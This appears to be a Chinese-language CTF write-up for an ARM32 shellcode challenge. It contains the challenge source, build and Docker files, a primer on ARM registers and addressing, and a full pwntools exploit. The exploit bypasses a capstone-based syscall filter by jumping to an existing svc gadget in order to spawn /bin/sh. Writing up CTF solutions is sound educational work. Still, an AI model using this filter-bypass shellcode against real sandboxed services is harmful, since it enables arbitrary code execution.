arm32_shellcode
arm32_shellcode
题目文件
build.sh
#!/bin/bash
arm-linux-gnueabi-gcc -g -static -Iinclude -o chal chal.c libcapstone.a
chal.c
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <ctype.h>
#include <capstone/capstone.h>
#define die(x) do { puts(x); exit(-1); } while (0)
#define SHELLCODE_ADDR 0xdead0000
#define SHELLCODE_MAX_SIZE 0x100
#define INPUT_SIZE SHELLCODE_MAX_SIZE*2
size_t parsehex(char *src, char *dest) {
size_t len = strlen(src);
if (src[len-1] == '\n') {
src[len-1] = '\0';
len--;
}
if (len % 2 == 1)
die("*** Bad hex (odd length) ***");
size_t final_len = len / 2;
for (size_t i=0, j=0; j<final_len; i+=2, j++) {
if (!(isxdigit(src[i]) && isxdigit(src[i+1])))
die("*** Bad hex (invalid char) ***");
dest[j] = (src[i] % 32 + 9) % 25 * 16 + (src[i+1] % 32 + 9) % 25;
}
return final_len;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to shell code as a shell\n");
printf("Enter your shellcode (in hex please) up to %d chars\n", INPUT_SIZE);
char input[INPUT_SIZE+1];
void *shellcode;
shellcode = mmap(SHELLCODE_ADDR, SHELLCODE_MAX_SIZE, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
fgets(input, sizeof(input), stdin);
size_t sz = parsehex(input, shellcode);
if (sz < 4)
die("Not enough bytes for an instruction!");
csh handle;
cs_insn *insn;
if (cs_open(CS_ARCH_ARM, CS_MODE_ARM, &handle) != CS_ERR_OK)
exit(-1);
if (cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON) != CS_ERR_OK)
exit(-1);
size_t count = cs_disasm(handle, shellcode, sz, SHELLCODE_ADDR, 0, &insn);
if (count < 0) {
cs_close(&handle);
die("*** Failed to disassemble shellcode! ***");
}
printf("*** Read %d instructions ***\n", count);
uint64_t end_pos = SHELLCODE_ADDR;
for (size_t i = 0; i < count; ++i) {
printf("0x%" PRIx64 ":\t%s\t\t%s\n", insn[i].address, insn[i].mnemonic,
insn[i].op_str);
// Check for syscalls
cs_detail *detail = insn[i].detail;
if (detail->groups_count > 0) {
for (int n = 0; n < detail->groups_count; n++)
if (detail->groups[n] == ARM_GRP_INT) {
die("*** No syscalls for you! ***");
}
}
end_pos += insn[i].size;
}
cs_free(insn, count);
cs_close(&handle);
if (count != sz / 4) {
die("*** Incorect number of disassembled instructions. Make sure instructions are correct. ***");
}
// Setup environment and run
puts("*** Shellcode looks good, let's roll! ***");
mprotect(shellcode, SHELLCODE_ADDR, PROT_READ | PROT_EXEC);
// Clear registers
asm("mov r0, #0\n"
"mov r1, #0\n"
"mov r2, #0\n"
"mov r3, #0\n"
"mov r4, #0\n"
"mov r5, #0\n"
"mov r6, #0\n"
"mov r7, #0\n"
"mov r8, #0\n"
"mov r9, #0\n"
"mov r10, #0\n");
void (*code)() = shellcode;
code();
}
Dockerfile
FROM ubuntu:22.04@sha256:aabed3296a3d45cede1dc866a24476c4d7e093aa806263c27ddaadbdce3c1054 as build
RUN apt update && apt upgrade -y
RUN apt install git gcc-arm-linux-gnueabi qemu-user gdb-multiarch make wget -y
WORKDIR /build
COPY make-capstone.sh /build
RUN wget --no-verbose -O "capstone-5.0.tar.gz" "https://github.com/capstone-engine/capstone/archive/refs/tags/5.0.tar.gz"
RUN ./make-capstone.sh
COPY chal.c build.sh /build/
RUN ./build.sh
FROM ubuntu:22.04@sha256:aabed3296a3d45cede1dc866a24476c4d7e093aa806263c27ddaadbdce3c1054 as prod_build
RUN apt update && apt upgrade -y
RUN apt install qemu-user -y
WORKDIR /app
COPY --from=build /build/chal .
COPY flag.txt ./
# Jail entrypoint
COPY run.sh run
FROM pwn.red/jail@sha256:ee52ad5fd6cfed7fd8ea30b09792a6656045dd015f9bef4edbbfa2c6e672c28c as prod
COPY --from=prod_build / /srv
make-capstone.sh
#!/bin/sh
set -e
set -x
CAPSTONE_DIR="capstone-5.0"
CAPSTONE_SRC=$CAPSTONE_DIR.tar.gz
rm -rf $CAPSTONE_DIR
export CC=arm-linux-gnueabi-gcc
export AR=arm-linux-gnueabi-ar
export RANLIB=arm-linux-gnueabi-ranlib
tar -xf $CAPSTONE_SRC
cd $CAPSTONE_DIR
./make.sh
cp libcapstone.so.5 ../libcapstone.so
cp libcapstone.a ../libcapstone.a
cp -r include ../
run.sh
#!/bin/sh
qemu-arm ./chal
保护:
题目文件给的很全,如何编译写在了build里,需要什么libc库也有make-capstone.sh,还是静态链接的arm32程序,当然run.sh得我们自己改下。
arm题启动脚本:
run.sh
#!/bin/bash
socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L ./ ./chal ",reuseaddr #作用是启动.sh后,有脚本连上127.0.01:10002端口就执行里面的指令起一个程序
tools.sh
#!/bin/sh
program_name='qemu-arm'#用于找到仍然在运行的进程,qemu-arm启动的就找qemu-arm,qemu-aarch64启动的就找qemu-aarch64
pids=$(pgrep $program_name)
echo $pids
sudo kill -9 $pids
tmux splitw -h ./GT.sh
python3 expemm.py
GT.sh
gdb-multiarch ./chal \
-ex 'target remote localhost:1234' \
-ex 'b*0x107c0' \
-ex 'b*0x10a94' \
使用方法是先run.sh,然后tools.sh
其中Dockerfile才是最应该注意的(),主要是Ubuntu22.04下的编译结果和20.04差很多,特别是在静态链接的函数偏移方面,我们尽量还是用题目的U22环境进行编译和调试,不然就会像我一样用U20编译出来的错误偏移程序嗯造远程造不出来。
同时,我在编译调试过程中发现了一个问题,那就是qemu起的arm程序进gdb,我每次gdb进到shellcode开始执行都会直接崩溃,经过各种原因排查,最后发现是我的qemu版本过高导致的,我编译安装qemu了好几个版本,最后测试下来,8.1不行,7.2不行,6.2(u22 apt默认装的版本)和4.2(u20 apt默认装的版本)可以。
同时在普通用户下进入gdb,在gdb里vmmap时能正常显示arm32程序的内存地址布局,而如果是root下进入则无法正常vmmap
分析和exp
arm架构规则
寄存器规则
- 子程序间通过寄存器R0~R3来传递参数。这时,寄存器R0~R3可记作arg0~arg3。被调用的子程序在返回前无需恢复寄存器R0~R3的内容,R0被用来存储函数调用的返回值。
- 在子程序中,使用寄存器R4~R11来保存局部变量。这时,寄存器R4~R11可以记作var1~var8。如果在子程序中使用了寄存器v1~v8中的某些寄存器,则子程序进入时必须保存这些寄存器的值,在返回前必须恢复这些寄存器的值。R7经常被用作存储系统调用号,R11存放着帮助我们找到栈帧边界的指针,记作FP。在Thumb程序中,通常只能使用寄存器R4~R7来保存局部变量。
- 寄存器R12用作过程调用中间临时寄存器,记作IP。在子程序之间的连接代码段中常常有这种使用规则。
- 寄存器R13用作堆栈指针,记作SP。在子程序中寄存器R13不能用作其他用途。寄存器SP在进入子程序时的值和退出子程序时的值必须相等。
- 寄存器R14称为连接寄存器,记作LR。它用于保存子程序的返回地址。如果在子程序中保存了返回地址,寄存器R14则可以用作其他用途。
- 寄存器R15是程序计数器,记作PC。它不能用作其它用途。当执行一个分支指令时,PC存储目的地址。在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,Thumb(v1)模式下的PC存储着当前指令加4(两条Thumb指令后)的位置。
给出ARM架构寄存器与Intel架构寄存器的关系:
ARM架构 寄存器名 | 寄存器描述 | Intel架构 寄存器名 |
---|---|---|
R0 | 通用寄存器 | EAX |
R1~R5 | 通用寄存器 | EBX、ECX、EDX、EDI、ESI |
R6~R10 | 通用寄存器 | 无 |
R11(FP) | 栈帧指针 | EBP |
R12(IP) | 内部程序调用 | 无 |
R13(SP) | 堆栈指针 | ESP |
R14(LP) | 链接寄存器 | 无 |
R15(PC) | 程序计数器 | EIP |
CPSR | 程序状态寄存器 | EFLAGS |
堆栈(Stack)规则
- ATPCS规定堆栈为FD类型,即Full Descending,意思是 SP指向最后一个压入的值(栈顶),数据栈由高地址向低地址生长,即满递减堆栈,并且对堆栈的操作是8字节对齐。所以经常使用的指令就有STMFD和LDMFD。
传参规则
- 对于参数个数可变的子程序,当参数个数不超过4个时,可以使用寄存器R0~R3来传递参数;当参数超过4个时,还可以使用堆栈来传递参数。
- 在传递参数时,将所有参数看作是存放在连续的内存字单元的字数据。然后,依次将各字数据传递到寄存器R0,R1,R2和R3中。如果参数多于4个,则将剩余的字数据传递到堆栈中。入栈的顺序与参数传递顺序相反,即最后一个字数据先入栈。
返回值规则
- 结果为一个32位整数时,可以通过寄存器R0返回
- 结果为一个64位整数时,可以通过寄存器R0和R1返回
- 结果为一个浮点数时,可以通过浮点运算部件的寄存器f0、d0或s0来返回
- 结果为复合型浮点数(如复数)时,可以通过寄存器f0~fn或d0~dn来返回
- 对于位数更多的结果,需要通过内存来传递。
访址规则
-
通常,LDR指令被用来从内存中加载数据到寄存器,STR指令被用作将寄存器的值存放到内存中。
@ LDR操作:从R0指向的地址中取值放到R2中 LDR R2, [R0] @ [R0] - 数据源地址来自于R0指向的内存地址 @ STR操作:将R2中的值放到R1指向的地址中 STR R2, [R1] @ [R1] - 目的地址来自于R1在内存中指向的地址
那么我们给出示例代码和解释:
.data /* 数据段是在内存中动态创建的,所以它的在内存中的地址不可预测*/ var1: .word 3 /* 内存中的第一个变量且赋值为3 */ var2: .word 4 /* 内存中的第二个变量且赋值为4 */ .text /* 代码段开始 */ .global _start _start: ldr r0, adr_var1 @ 将存放var1值的地址adr_var1加载到寄存器R0中 ldr r1, adr_var2 @ 将存放var2值的地址adr_var2加载到寄存器R1中 ldr r2, [r0] @ 将R0所指向地址中存放的0x3加载到寄存器R2中 str r2, [r1] @ 将R2中的值0x3存放到R1做指向的地址,此时,var2变量的值是0x3 bkpt adr_var1: .word var1 /* var1的地址助记符 */ adr_var2: .word var2 /* var2的地址助记符 */
接下来我们对这段代码进行反编译,结果如下:
ldr r0, [ pc, #12 ] ; 0x8088 <adr_var1> ldr r1, [ pc, #12 ] ; 0x808c <adr_var2> ldr r2, [r0] str r2, [r1] bx lr
此处,
[PC,#12]
的意义是PC + 4*3
,可以看出,程序使用了偏移寻址的思路,但是,根据我们所写的汇编码:_start: ldr r0, [ pc, #12 ] ; <- PC ldr r1, [ pc, #12 ] ldr r2, [r0] str r2, [r1] bx lr adr_var1: .word var1 adr_var2: .word var2
我们若想获取var_1,应该为
PC + 4 * 5
才对,但是我们之前提过的,在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,也就是说,此时程序中的状况应该如下表所示:_start: ldr r0, [ pc, #12 ] ldr r1, [ pc, #12 ] ldr r2, [r0] ; <- PC str r2, [r1] bx lr adr_var1: .word var1 adr_var2: .word var2
这种形如
[Ri , num]
的方式被称为立即数作偏移寻址。str r2, [r1, #2] @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。 str r2, [r1, #4]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处,之后R1寄存器中存储的值加4,也就是R1=R1+4。 ldr r3, [r1], #4 @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中存储的值加4,也就是R1=R1+4。
-
形如
[Ri , Rj]
的方式被称为
寄存器作偏移寻址
。
str r2, [r1, r2] @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。 str r2, [r1, r2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处,之后R1寄存器中的值被更新,也就是R1=R1+R2。 ldr r3, [r1], r2 @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1=R1+R2。
-
形如
[Ri , Rj , <shifter>]
的方式被称为
寄存器缩放值作偏移寻址
。
str r2, [r1, r2, LSL#2] @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。 str r2, [r1, r2, LSL#2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处,之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2。 ldr r3, [r1], r2, LSL#2 @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2。
分析
有给源码,不难看出来是arm32shellcode,其中parsehex是用来分割输入的十六进制字节码的,一般把要送的字节码.hex()就行。不能送'\x00',同时禁止了SVC0(arm32的syscall)字节码的出现,输入shellcode后会把执行段设为可读可执行不可写,阻碍了我们用read进行绕过。但是这题是静态链接,而且没开PIE,我们直接利用静态链接函数库里的svc0即可,用ldr pc或者blx 寄存器进行跳转到svc0即可
exp:
#!/usr/bin/python3
#coding=utf-8
'''
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
需要无debug,就把-t删了,需要从main开始附近下断点加-p,显示详情加-v
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwn import *
from pickletools import stackslice
import time
from shutil import move
from pwncli import *
#from mcrypt import * # 这个模块是自己用的,作用就是进行base64换表
pwn_mode=0
if pwn_mode==0 :
context(os = 'linux', terminal = ['tmux', 'splitw', '-h'])
#context.terminal = ['tmux','splitw','-h']
context.arch='arm'
local=0
exec_file="./chal"
#context.binary = exec_file
context.log_level='debug'
elf=ELF(exec_file)
if local :
p = process(exec_file)
# if context.arch == "i386" :
# libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
# elif context.arch == "amd64" :
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
else:
p = remote("127.0.0.1",10002)
#p=remote('chall.pwnoh.io', 13375)
libc_path='/lib/x86_64-linux-gnu/libc.so.6'
libc=ELF(libc_path, checksec = False)
def get_base(a, text_name=exec_file[0-exec_file[::-1].find('/'):],libc_name=libc_path[0-libc_path[::-1].find('/'):]):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name[0-name[::-1].find('/'):]:
text_addr = addr
elif "libc-" in name or "libc." in name or libc_name in name:
libc_base = addr
return text_addr, libc_base
def debug(stop=0):
if local == 1 and pwn_mode==0:
text_base, libc_base = get_base(p)
script = '''
set $text_base = {}
set $libc_base = {}
'''.format(hex(text_base), hex(libc_base))
#LOGTOOL['address']=0x4060+text_base
LOGALL()
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
if stop:
pause()
#b *$rebase(0x001CEB)
def fuck(address):
n = globals()
for key, value in n.items():
if value == address:
success(key + " ==> " + hex(address))
return
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
else:
cli_script()
p: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gift['libc'] = libc
#set_remote_libc()
CurrentGadgets.set_find_area(1,0)
#execute_cmd_in_current_gdb('b *0x401401')
#set_current_pie_breakpoints(0x401401)
#recv_current_libc_addr(libc.sym.free,5)
#kill_current_gdb()
#set_current_libc_base(leak,offset)
#set_current_libc_base_and_log(leak,offset)
#set_current_code_base()
#set_current_code_base_and_log()
#tele_current_pie_content()
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
rn = lambda x : p.recvn(x)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim,b=False: p.recvuntil(delim,drop=b)
rut = lambda delim,time=0.1: p.recvuntil(delim,timeout=time)
rl = lambda a=False: p.recvline(a)
rls = lambda n=2**20: p.recvlines(n)
it = lambda :p.interactive()
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
bp = lambda bkp :gdb.attach(p,'b *'+bkp)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-25s%s"%(i[0]+":",hex(i[1])))
# shellcode=asm('''
# movw r7, #0x41410068 & 0xffff
# movt r7, #0x41410068 >> 16
# push {r7}
# movw r7, #0x732f2f2f & 0xffff
# movt r7, #0x732f2f2f >> 16
# push {r7}
# movw r7, #0x6e69622f & 0xffff
# movt r7, #0x6e69622f >> 16
# push {r7}
# mov r0, sp
# movw r7, #0x6873
# push {r7}
# eor r12, r12
# push {r12}
# mov r1, #4
# add r1, sp
# mov r12, r1
# push {r12}
# mov r1, sp
# eor r2, r2
# mov r7, #0xb
# ldr pc,=0x0011d788
# ''')
shellcode1='''
movw r5,0x732f
movt r5,0x68
push {r5}
movw r5,0x622f
movt r5,0x6e69
push {r5}
mov r0,sp
mov r7,#0xb
movw r4,0xd788
movt r4,0x11
blx r4
'''
shellcode2=asm(shellcode1,arch='arm',bits=32)
print('aaaaaaaaaaaaaa'+disasm(shellcode2))
aaa=b'/bin/sh'
for i in aaa:
print(hex(0x100+i)[-2:].encode()+b'\n')
shellcode3=b''
for i in shellcode2:
shellcode3+=hex(0x100+i)[-2:].encode()
sl(shellcode2.hex())
# add R0,R0,#0x100
# mov r7,#0xb
# mov r6,#0x68
# STR R6, [R3, #0x100]
# mov r6,#0x73
# STR R6, [R3, #0x101]
# mov r6,#0x2f
# STR R6, [R3, #0x102]
# mov r6,#0x6e
# STR R6, [R3, #0x103]
# mov r6,#0x69
# STR R6, [R3, #0x104]
# mov r6,#0x62
# STR R6, [R3, #0x105]
# mov r6,#0x2f
# STR R6, [R3, #0x106]
# mov r5,#0xae
# EOR r5,r5,#0x41
# STR R5, [R3, #0x50]
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gift['libc'] = libc
# print(gift.libc)
# pd = flat(
# {
# 0:[
# #[CurrentGadgets.ret()]*0x20,
# [p64(0xdead)]*0x50,
# p64(0x114514)
# ]
# },filler='\x00'
# )
# s(pd)
# def new_func():
# s(0x50*b'a')
# while True:
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
it()